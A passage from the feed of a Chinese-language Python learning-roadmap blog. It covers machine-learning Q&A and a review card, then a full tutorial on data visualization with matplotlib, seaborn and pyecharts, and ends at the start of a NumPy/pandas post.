入门机器学习&lt;strong&gt;不必一上来就深度学习&lt;/strong&gt;。传统 ML（随机森林、XGBoost）在中小规模表格数据上往往比深度学习更好、更快、更可解释。深度学习优势在&lt;strong&gt;非结构化数据&lt;/strong&gt;（图像、语音、文本）和&lt;strong&gt;海量数据&lt;/strong&gt;。按数据规模和类型选方法。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;常见问题 Q&amp;amp;A&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Q1：分类和回归怎么区分？&lt;/strong&gt;
A：看预测目标是&lt;strong&gt;离散类别&lt;/strong&gt;还是&lt;strong&gt;连续数值&lt;/strong&gt;。预测&quot;是/否垃圾邮件&quot;&quot;猫/狗/鸟&quot;是分类；预测&quot;房价 320 万&quot;&quot;明天气温 25 度&quot;是回归。分类用逻辑回归/决策树/SVM，回归用线性回归/回归树。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q2：过拟合和欠拟合怎么判断和解决？&lt;/strong&gt;
A：看训练集和测试集表现。都差=欠拟合（模型太简单）→ 加特征/加复杂度/减正则；训练好测试差=过拟合（模型太复杂）→ 加数据/正则化/降复杂度/交叉验证/早停。画学习曲线能直观诊断。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q3：准确率很高但模型没用，为什么？&lt;/strong&gt;
A：&lt;strong&gt;类别不均衡&lt;/strong&gt;！如 99% 负样本、1% 正样本，全猜负也有 99% 准确率，但漏掉所有正样本。解决：看精确率/召回率/F1/AUC，用 &lt;code&gt;class_weight=&quot;balanced&quot;&lt;/code&gt;，SMOTE 过采样，或调整决策阈值。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q4：特征要标准化吗？哪些算法需要？&lt;/strong&gt;
A：&lt;strong&gt;基于距离/梯度的算法必须标准化&lt;/strong&gt;：kNN、KMeans、SVM、神经网络、线性/逻辑回归（带正则）。&lt;strong&gt;基于树的算法不需要&lt;/strong&gt;：决策树、随机森林、XGBoost（只看分裂点排序，不看绝对值）。不确定就标准化，一般无害。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q5：怎么选模型？&lt;/strong&gt;
A：先明确问题类型（分类/回归/聚类）。表格数据首选随机森林/XGBoost（强且省心）；需要可解释用决策树/线性模型；小数据快速基线用 kNN/逻辑回归；图像/文本/语音用深度学习。多试几个用交叉验证比较。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q6：&lt;code&gt;fit_transform&lt;/code&gt; 和 &lt;code&gt;transform&lt;/code&gt; 有什么区别？&lt;/strong&gt;
A：&lt;code&gt;fit_transform&lt;/code&gt; = 学习参数（如均值方差）+ 转换；&lt;code&gt;transform&lt;/code&gt; = 用已学参数转换。训练集用 &lt;code&gt;fit_transform&lt;/code&gt;，测试集&lt;strong&gt;只能用 &lt;code&gt;transform&lt;/code&gt;&lt;/strong&gt;（复用训练集参数），否则数据泄漏导致评估虚高。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q7：机器学习需要很强的数学吗？&lt;/strong&gt;
A：入门应用（调 sklearn API）&lt;strong&gt;不需要&lt;/strong&gt;深厚数学，理解概念、会预处理和调参就能上手。但要深入（改进算法、读论文、调优模型）需要线性代数、概率统计、微积分（梯度下降）基础。建议先用起来，遇到瓶颈再补数学。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
&lt;strong&gt;机器学习速记&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;三类 ML&lt;/strong&gt;：监督（有标签，分类/回归）、无监督（无标签，聚类/降维）、强化（奖惩）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;流程&lt;/strong&gt;：收集 → 预处理 → 划分 → 选模型 → fit 训练 → 评估 → 调优 → predict 部署&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;sklearn 范式&lt;/strong&gt;：&lt;code&gt;fit(X_train,y_train)&lt;/code&gt; → &lt;code&gt;predict(X_test)&lt;/code&gt; → &lt;code&gt;score()&lt;/code&gt;，所有模型统一&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;预处理&lt;/strong&gt;：StandardScaler 标准化、编码；测试集只 &lt;code&gt;transform&lt;/code&gt; 防泄漏&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;算法&lt;/strong&gt;：kNN（近邻）、决策树（可解释）、逻辑回归（分类）、SVM（间隔最大）、随机森林（集成，首选）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;无监督&lt;/strong&gt;：KMeans（聚类，肘部法则选K）、PCA（降维，看方差比）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;评估&lt;/strong&gt;：准确率（不均衡会骗人）、精确率、召回率、F1、混淆矩阵、AUC&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;过拟合&lt;/strong&gt;：训练好测试差 → 正则化/加数据/降复杂度；欠拟合反之&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;调优&lt;/strong&gt;：&lt;code&gt;cross_val_score&lt;/code&gt; 交叉验证 + &lt;code&gt;GridSearchCV&lt;/code&gt; 网格搜索 + &lt;code&gt;Pipeline&lt;/code&gt; 防泄漏&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;深度学习&lt;/strong&gt;：神经元+激活函数(ReLU)堆叠；PyTorch/TensorFlow；表格数据传统 ML 常更优&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
下一篇：&lt;a href=&quot;/blog/posts/python-roadmap-15-project-interview/&quot;&gt;项目实战、部署与面试&lt;/a&gt; 是系列收官之作，将讲解综合项目实战思路、Python 项目部署（Docker/CI/CD）、工程化规范，以及 Python 高频面试题与学习路线总结。&lt;/p&gt;
&lt;p&gt;返回 &lt;a href=&quot;/blog/posts/python-roadmap-00-overview/&quot;&gt;Python 学习路线总览&lt;/a&gt; | &lt;a href=&quot;/blog/python-roadmap/&quot;&gt;合集页&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>数据可视化</title><link>http://117.72.32.87/blog/posts/python-roadmap-13-visualization/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/python-roadmap-13-visualization/</guid><description>Python 数据可视化：matplotlib 绘制折线图/柱状图/散点图/饼图/直方图、子图布局与样式定制，seaborn 统计可视化（分布图/关系图/热力图），以及 pyecharts 交互式图表，让数据会说话。</description><pubDate>Fri, 18 Sep 2026 07:30:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本文对应仓库 &lt;strong&gt;Day78~80&lt;/strong&gt;：matplotlib 绘图基础、seaborn 统计可视化、pyecharts 交互图表。数据可视化把枯燥的数字变成直观的图形，是数据分析的&quot;最后一公里&quot;，也是汇报和洞察的关键。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;一、可视化三剑客概览&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;库&lt;/th&gt;
&lt;th&gt;特点&lt;/th&gt;
&lt;th&gt;适用场景&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;matplotlib&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;最基础、最灵活、可控性强&lt;/td&gt;
&lt;td&gt;所有静态图表的底层&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;seaborn&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;基于 matplotlib、默认样式美观、统计图强&lt;/td&gt;
&lt;td&gt;统计分析、快速出好看的图&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;pyecharts&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;基于百度 ECharts、交互式、可网页嵌入&lt;/td&gt;
&lt;td&gt;交互式报表、大屏、Web&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;pip install matplotlib seaborn pyecharts
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;选型建议：
- 定制/科研/基础图 → matplotlib
- 统计/美观/快速探索 → seaborn
- 交互/Web/大屏展示 → pyecharts
- 三者可混用（seaborn 底层就是 matplotlib）
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h1&gt;第一部分：matplotlib&lt;/h1&gt;
&lt;h2&gt;二、matplotlib 基础与折线图&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;import matplotlib.pyplot as plt
import numpy as np

# 解决中文乱码（重要！）
plt.rcParams[&quot;font.sans-serif&quot;] = [&quot;SimHei&quot;]   # 用黑体显示中文
plt.rcParams[&quot;axes.unicode_minus&quot;] = False     # 解决负号 &apos;-&apos; 显示问题

# 折线图
x = np.linspace(0, 10, 100)
y = np.sin(x)

plt.figure(figsize=(8, 5))            # 创建画布，设置尺寸（英寸）
plt.plot(x, y, label=&quot;sin(x)&quot;, color=&quot;blue&quot;, linewidth=2, linestyle=&quot;-&quot;)
plt.plot(x, np.cos(x), label=&quot;cos(x)&quot;, color=&quot;red&quot;, linestyle=&quot;--&quot;)

plt.title(&quot;三角函数图像&quot;)              # 标题
plt.xlabel(&quot;x 轴&quot;)                    # x 轴标签
plt.ylabel(&quot;y 轴&quot;)                    # y 轴标签
plt.legend()                          # 图例（显示 label）
plt.grid(True, alpha=0.3)             # 网格线
plt.xlim(0, 10)                       # x 轴范围
plt.ylim(-1.5, 1.5)                   # y 轴范围
plt.axhline(y=0, color=&quot;gray&quot;, linestyle=&quot;:&quot;)  # 参考线

plt.savefig(&quot;sine.png&quot;, dpi=150, bbox_inches=&quot;tight&quot;)  # 保存（dpi 清晰度）
plt.show()                            # 显示
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;linestyle 线型：&apos;-&apos;实线  &apos;--&apos;虚线  &apos;-.&apos;点划线  &apos;:&apos;点线
marker 标记：&apos;o&apos;圆点  &apos;*&apos;星  &apos;s&apos;方  &apos;^&apos;三角  &apos;+&apos;加
color：&apos;r&apos;红 &apos;g&apos;绿 &apos;b&apos;蓝 &apos;k&apos;黑 或 &apos;#FF5733&apos; 十六进制
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
中文乱码是 matplotlib 最常见的坑。&lt;code&gt;plt.rcParams[&quot;font.sans-serif&quot;] = [&quot;SimHei&quot;]&lt;/code&gt;（Windows）或 &lt;code&gt;[&quot;Arial Unicode MS&quot;]&lt;/code&gt;（Mac）；Linux 可安装中文字体后设 &lt;code&gt;[&quot;WenQuanYi Micro Hei&quot;]&lt;/code&gt;。别忘了 &lt;code&gt;axes.unicode_minus=False&lt;/code&gt; 否则负号变方块。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;三、常用图表类型&lt;/h2&gt;
&lt;h3&gt;柱状图与条形图&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;categories = [&quot;A&quot;, &quot;B&quot;, &quot;C&quot;, &quot;D&quot;]
values = [23, 45, 56, 78]

# 垂直柱状图
plt.bar(categories, values, color=&quot;skyblue&quot;, edgecolor=&quot;black&quot;)
plt.barh(categories, values)          # 水平条形图

# 分组柱状图（多组对比）
x = np.arange(len(categories))
width = 0.35
plt.bar(x - width/2, [20, 30, 40, 50], width, label=&quot;2025&quot;)
plt.bar(x + width/2, [23, 45, 56, 78], width, label=&quot;2026&quot;)
plt.xticks(x, categories)
plt.legend()

# 堆叠柱状图
plt.bar(categories, [20, 30, 40, 50], label=&quot;男&quot;)
plt.bar(categories, [3, 15, 16, 28], bottom=[20, 30, 40, 50], label=&quot;女&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;散点图&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;x = np.random.randn(100)
y = np.random.randn(100)
plt.scatter(x, y, s=50, c=y, cmap=&quot;viridis&quot;, alpha=0.6)  # s大小 c颜色 cmap色图
plt.colorbar()                        # 颜色条
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;饼图&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;labels = [&quot;技术&quot;, &quot;销售&quot;, &quot;市场&quot;, &quot;行政&quot;]
sizes = [40, 25, 20, 15]
plt.pie(sizes, labels=labels, autopct=&quot;%1.1f%%&quot;,   # 显示百分比
        startangle=90, explode=[0.1, 0, 0, 0])     # 突出第一块
plt.axis(&quot;equal&quot;)                     # 保证是正圆
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;直方图与箱线图&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;data = np.random.randn(1000)

# 直方图（看分布）
plt.hist(data, bins=30, color=&quot;steelblue&quot;, edgecolor=&quot;black&quot;, alpha=0.7)

# 箱线图（看离群值、四分位数）
plt.boxplot([data, np.random.randn(1000)*2],
            labels=[&quot;组A&quot;, &quot;组B&quot;])
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;图表选型指南：
- 趋势变化 → 折线图
- 类别对比 → 柱状图/条形图
- 占比构成 → 饼图（类别少）/堆叠柱
- 相关性   → 散点图
- 数据分布 → 直方图/箱线图/小提琴图
- 多变量关系 → 热力图/散点矩阵
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;四、子图与布局&lt;/h2&gt;
&lt;p&gt;一张画布放多个图，用 &lt;code&gt;subplots&lt;/code&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# subplots：创建网格子图
fig, axes = plt.subplots(2, 2, figsize=(10, 8))   # 2行2列
axes[0, 0].plot(x, np.sin(x))       # 左上
axes[0, 0].set_title(&quot;sin&quot;)
axes[0, 1].plot(x, np.cos(x))       # 右上
axes[0, 1].set_title(&quot;cos&quot;)
axes[1, 0].bar([&quot;A&quot;, &quot;B&quot;], [3, 5])  # 左下
axes[1, 1].scatter(x, np.random.randn(100))  # 右下
plt.tight_layout()                  # 自动调整间距，防重叠
plt.show()

# 一行多图
fig, axes = plt.subplots(1, 3, figsize=(15, 4))
for i, ax in enumerate(axes):
    ax.plot(x, np.sin(x + i))

# subplot（逐个添加，旧式）
plt.subplot(2, 2, 1)                # 2行2列的第1个
plt.plot(x, y)
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;五、面向对象接口与样式&lt;/h2&gt;
&lt;p&gt;matplotlib 有两套 API，推荐&lt;strong&gt;面向对象&lt;/strong&gt;（更清晰可控）。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# ❌ pyplot 状态式（简单图可以，复杂易乱）
plt.plot(x, y)
plt.title(&quot;标题&quot;)

# ✅ 面向对象式（推荐，Figure + Axes）
fig = plt.figure(figsize=(8, 5))     # 画布 Figure
ax = fig.add_subplot(111)            # 坐标系 Axes
ax.plot(x, y)
ax.set_title(&quot;标题&quot;)                 # 方法都带 set_ 前缀
ax.set_xlabel(&quot;x&quot;)
ax.set_ylabel(&quot;y&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;概念层次：
Figure（画布）
  └── Axes（坐标系，一张图）
        ├── 标题、轴标签
        ├── 刻度、图例、网格
        └── 线、点、柱（artist）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;使用内置样式&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;print(plt.style.available)          # 查看所有可用样式
plt.style.use(&quot;seaborn-v0_8-darkgrid&quot;)   # 应用样式
plt.style.use(&quot;ggplot&quot;)             # ggplot 风格

# 临时用某样式
with plt.style.context(&quot;dark_background&quot;):
    plt.plot(x, y)
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h1&gt;第二部分：seaborn&lt;/h1&gt;
&lt;h2&gt;六、seaborn 统计可视化&lt;/h2&gt;
&lt;p&gt;seaborn 基于 matplotlib，默认样式更美观，一行代码画出复杂统计图。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import seaborn as sns
import pandas as pd

# 加载示例数据集
tips = sns.load_dataset(&quot;tips&quot;)     # 餐厅小费数据
sns.set_theme(style=&quot;whitegrid&quot;)    # 设置主题风格
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;关系图&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 散点图（可按类别着色/分形状）
sns.scatterplot(data=tips, x=&quot;total_bill&quot;, y=&quot;tip&quot;,
                hue=&quot;time&quot;, style=&quot;smoker&quot;, size=&quot;size&quot;)

# 折线图（自动聚合、画置信区间）
sns.lineplot(data=tips, x=&quot;size&quot;, y=&quot;total_bill&quot;, hue=&quot;time&quot;)

# 关系图矩阵（多变量两两关系）
sns.relplot(data=tips, x=&quot;total_bill&quot;, y=&quot;tip&quot;, hue=&quot;day&quot;, col=&quot;time&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;分布图&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 直方图 + 核密度
sns.histplot(tips[&quot;total_bill&quot;], kde=True, bins=20)

# 核密度估计
sns.kdeplot(tips[&quot;total_bill&quot;])

# 箱线图 / 小提琴图
sns.boxplot(data=tips, x=&quot;day&quot;, y=&quot;total_bill&quot;)
sns.violinplot(data=tips, x=&quot;day&quot;, y=&quot;total_bill&quot;, hue=&quot;sex&quot;)

# 多变量分布
sns.pairplot(tips, hue=&quot;sex&quot;)       # 散点矩阵（探索多列关系神器）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;分类图与热力图&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 柱状图（自动聚合，带误差棒）
sns.barplot(data=tips, x=&quot;day&quot;, y=&quot;total_bill&quot;, hue=&quot;sex&quot;)

# 计数图
sns.countplot(data=tips, x=&quot;day&quot;)

# 热力图（常配合相关系数矩阵）
corr = tips.corr(numeric_only=True)      # 相关系数矩阵
sns.heatmap(corr, annot=True, cmap=&quot;coolwarm&quot;,
            center=0, fmt=&quot;.2f&quot;, square=True)
plt.show()
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
&lt;strong&gt;热力图 + 相关系数矩阵&lt;/strong&gt;是数据分析经典组合：&lt;code&gt;sns.heatmap(df.corr(), annot=True)&lt;/code&gt; 一眼看出哪些变量强相关（颜色越深相关性越强），对特征选择、多重共线性判断很有用。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;seaborn vs matplotlib：
- seaborn 默认美观、统计图强（自动聚合/置信区间/分面）
- 底层仍是 matplotlib，可用 ax 参数嵌入子图，也可 plt 二次调整
- 快速探索数据、画统计图用 seaborn；高度定制用 matplotlib
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h1&gt;第三部分：pyecharts&lt;/h1&gt;
&lt;h2&gt;七、pyecharts 交互式图表&lt;/h2&gt;
&lt;p&gt;pyecharts 生成&lt;strong&gt;可交互的 HTML 图表&lt;/strong&gt;（缩放、悬浮提示、图例切换），适合网页报表和大屏。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pyecharts.charts import Bar, Line, Pie
from pyecharts import options as opts

# 柱状图
bar = (
    Bar()
    .add_xaxis([&quot;衬衫&quot;, &quot;毛衣&quot;, &quot;领带&quot;, &quot;裤子&quot;, &quot;风衣&quot;])
    .add_yaxis(&quot;商家A&quot;, [114, 55, 27, 101, 125])
    .add_yaxis(&quot;商家B&quot;, [150, 48, 66, 108, 97])
    .set_global_opts(title_opts=opts.TitleOpts(title=&quot;销量对比&quot;))
)
bar.render(&quot;bar.html&quot;)              # 生成交互式 HTML

# 折线图
line = (
    Line()
    .add_xaxis([&quot;周一&quot;, &quot;周二&quot;, &quot;周三&quot;, &quot;周四&quot;, &quot;周五&quot;])
    .add_yaxis(&quot;销售额&quot;, [150, 230, 224, 218, 135])
    .set_global_opts(
        title_opts=opts.TitleOpts(title=&quot;周销售趋势&quot;),
        xaxis_opts=opts.AxisOpts(name=&quot;日期&quot;),
        yaxis_opts=opts.AxisOpts(name=&quot;金额&quot;),
    )
)
line.render(&quot;line.html&quot;)

# 饼图
pie = (
    Pie()
    .add(&quot;&quot;, [list(z) for z in zip([&quot;A&quot;, &quot;B&quot;, &quot;C&quot;], [10, 20, 30])])
    .set_global_opts(title_opts=opts.TitleOpts(title=&quot;占比&quot;))
    .set_series_opts(label_opts=opts.LabelOpts(formatter=&quot;{b}: {d}%&quot;))
)
pie.render(&quot;pie.html&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# 链式调用是 pyecharts 特色：
# .add_xaxis() / .add_yaxis()  加数据
# .set_global_opts()           全局配置（标题/坐标轴/图例）
# .set_series_opts()           系列配置（标签/颜色）
# .render(&quot;x.html&quot;)            输出 HTML；.render_notebook() 在 Jupyter 显示
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
pyecharts 图表是 &lt;strong&gt;HTML 文件&lt;/strong&gt;，能在浏览器交互（悬浮看数值、点击图例隐藏/显示、缩放）。常用于数据大屏、Web 报表。要嵌入网页可用 &lt;code&gt;render()&lt;/code&gt; 生成 HTML 后 iframe 引用，或 &lt;code&gt;render_embed()&lt;/code&gt; 内嵌。其他交互库还有 Plotly、Bokeh。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;八、与 pandas 集成&lt;/h2&gt;
&lt;p&gt;pandas 内置绘图接口（底层 matplotlib/seaborn），快速出图。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import pandas as pd

df = pd.DataFrame({
    &quot;月份&quot;: [&quot;1月&quot;, &quot;2月&quot;, &quot;3月&quot;, &quot;4月&quot;],
    &quot;销量&quot;: [100, 150, 130, 180],
    &quot;利润&quot;: [30, 50, 40, 60],
}).set_index(&quot;月份&quot;)

# pandas 直接画图
df.plot(kind=&quot;line&quot;, figsize=(8, 5))       # 折线图
df.plot(kind=&quot;bar&quot;)                        # 柱状图
df[&quot;销量&quot;].plot(kind=&quot;pie&quot;, autopct=&quot;%1.1f%%&quot;)  # 饼图
df.plot(kind=&quot;area&quot;, stacked=True)         # 面积图
df.plot.scatter(x=&quot;销量&quot;, y=&quot;利润&quot;)        # 散点图
plt.show()

# 结合 seaborn
sns.lineplot(data=df, x=&quot;月份&quot;, y=&quot;销量&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;常见问题 Q&amp;amp;A&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Q1：matplotlib 中文显示成方块/乱码？&lt;/strong&gt;
A：设置中文字体 &lt;code&gt;plt.rcParams[&quot;font.sans-serif&quot;] = [&quot;SimHei&quot;]&lt;/code&gt;（Windows 黑体）或 Mac 用 &lt;code&gt;[&quot;Arial Unicode MS&quot;]&lt;/code&gt;；再加 &lt;code&gt;plt.rcParams[&quot;axes.unicode_minus&quot;] = False&lt;/code&gt; 修复负号。Linux 需先安装中文字体（如文泉驿）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q2：matplotlib 和 seaborn 什么关系？该学哪个？&lt;/strong&gt;
A：seaborn 建立在 matplotlib 之上，是它的高级封装。seaborn 默认样式好看、统计图（分布、关系、热力图）一行搞定；matplotlib 更底层、定制性最强。建议：快速探索用 seaborn，深度定制用 matplotlib，两者结合最佳。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q3：图表太多参数记不住怎么办？&lt;/strong&gt;
A：不用死记。掌握核心套路：&lt;code&gt;figure/subplots&lt;/code&gt; 建画布 → &lt;code&gt;plot/bar/scatter/hist&lt;/code&gt; 画图 → &lt;code&gt;set_title/xlabel/legend&lt;/code&gt; 装饰 → &lt;code&gt;savefig/show&lt;/code&gt; 输出。具体参数查官方文档或 Gallery（ matplotlib 官网的图例画廊，找到想要的图复制代码改）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q4：&lt;code&gt;plt.plot()&lt;/code&gt; 和面向对象 &lt;code&gt;ax.plot()&lt;/code&gt; 怎么选？&lt;/strong&gt;
A：简单单图用 &lt;code&gt;plt.xxx()&lt;/code&gt;（pyplot 状态式）够用；多图、子图、要精细控制时用面向对象（&lt;code&gt;fig, ax = plt.subplots()&lt;/code&gt; 然后 &lt;code&gt;ax.xxx()&lt;/code&gt;），逻辑更清晰，不容易画错位置。官方推荐面向对象式。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q5：图片保存模糊？&lt;/strong&gt;
A：&lt;code&gt;plt.savefig(&quot;x.png&quot;, dpi=150)&lt;/code&gt; 提高 dpi（默认 100，论文/汇报建议 150~300）；加 &lt;code&gt;bbox_inches=&quot;tight&quot;&lt;/code&gt; 去掉多余白边。矢量图存 PDF/SVG（&lt;code&gt;savefig(&quot;x.pdf&quot;)&lt;/code&gt;）无限放大不糊。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q6：pyecharts 和 matplotlib 存图有什么区别？&lt;/strong&gt;
A：matplotlib 存的是&lt;strong&gt;静态图片&lt;/strong&gt;（PNG/SVG/PDF），适合论文、报告；pyecharts 存的是&lt;strong&gt;交互式 HTML&lt;/strong&gt;，能悬浮、缩放、切换图例，适合网页、大屏、Dashboard。需要交互就用 pyecharts/Plotly。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q7：怎么做数据大屏/仪表盘？&lt;/strong&gt;
A：pyecharts（可组合多图成 Page/Grid/Tab）、Plotly Dash（Python Web 仪表盘框架）、Streamlit（快速做数据 App）、Grafana（监控大屏）。轻量快速用 Streamlit，专业大屏用 pyecharts/ECharts。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
&lt;strong&gt;数据可视化速记&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;三剑客&lt;/strong&gt;：matplotlib（基础灵活）、seaborn（统计美观）、pyecharts（交互网页）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;中文不乱码&lt;/strong&gt;：&lt;code&gt;rcParams[&quot;font.sans-serif&quot;]=[&quot;SimHei&quot;]&lt;/code&gt; + &lt;code&gt;axes.unicode_minus=False&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;绘图套路&lt;/strong&gt;：figure → plot → 装饰(title/label/legend/grid) → savefig(dpi)/show&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;图表选型&lt;/strong&gt;：趋势折线、对比柱状、占比饼图、相关散点、分布直方/箱线&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;子图&lt;/strong&gt;：&lt;code&gt;fig, axes = plt.subplots(行, 列)&lt;/code&gt; + &lt;code&gt;tight_layout()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;面向对象&lt;/strong&gt;：Figure &amp;gt; Axes &amp;gt; artist，方法带 &lt;code&gt;set_&lt;/code&gt; 前缀，多图首选&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;seaborn&lt;/strong&gt;：&lt;code&gt;scatterplot/lineplot/histplot/boxplot/violinplot/barplot&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;热力图&lt;/strong&gt;：&lt;code&gt;sns.heatmap(df.corr(), annot=True)&lt;/code&gt; 看变量相关性&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;pyecharts&lt;/strong&gt;：链式调用 add_xaxis/add_yaxis/set_global_opts → render HTML&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;pandas 集成&lt;/strong&gt;：&lt;code&gt;df.plot(kind=&quot;line/bar/pie/scatter&quot;)&lt;/code&gt; 快速出图&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
下一篇：&lt;a href=&quot;/blog/posts/python-roadmap-14-machine-learning/&quot;&gt;机器学习入门&lt;/a&gt; 将讲解机器学习基础概念、scikit-learn 使用流程、监督学习（kNN/决策树/回归）、无监督学习（聚类/降维）、模型评估与调优，以及神经网络初步。&lt;/p&gt;
&lt;p&gt;返回 &lt;a href=&quot;/blog/posts/python-roadmap-00-overview/&quot;&gt;Python 学习路线总览&lt;/a&gt; | &lt;a href=&quot;/blog/python-roadmap/&quot;&gt;合集页&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>数据分析：NumPy 与 pandas</title><link>http://117.72.32.87/blog/posts/python-roadmap-12-data-analysis/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/python-roadmap-12-data-analysis/</guid><description>Python 数据分析核心：NumPy 数组（创建/索引/广播/聚合/线性代数）、pandas 的 Series 与 DataFrame、数据读取、清洗（缺失值/重复值/类型）、选择筛选、分组聚合、合并连接、重塑透视与时间序列处理。</description><pubDate>Fri, 18 Sep 2026 07:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本文对应仓库 &lt;strong&gt;Day66~77&lt;/strong&gt;：NumPy 数组计算与 pandas 数据处理。这是数据科学赛道的基石——NumPy 提供高性能数组运算，pandas 提供表格数据处理能力。掌握它们，才能玩转数据分析、可视化和机器学习。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h1&gt;第一部分：NumPy&lt;/h1&gt;
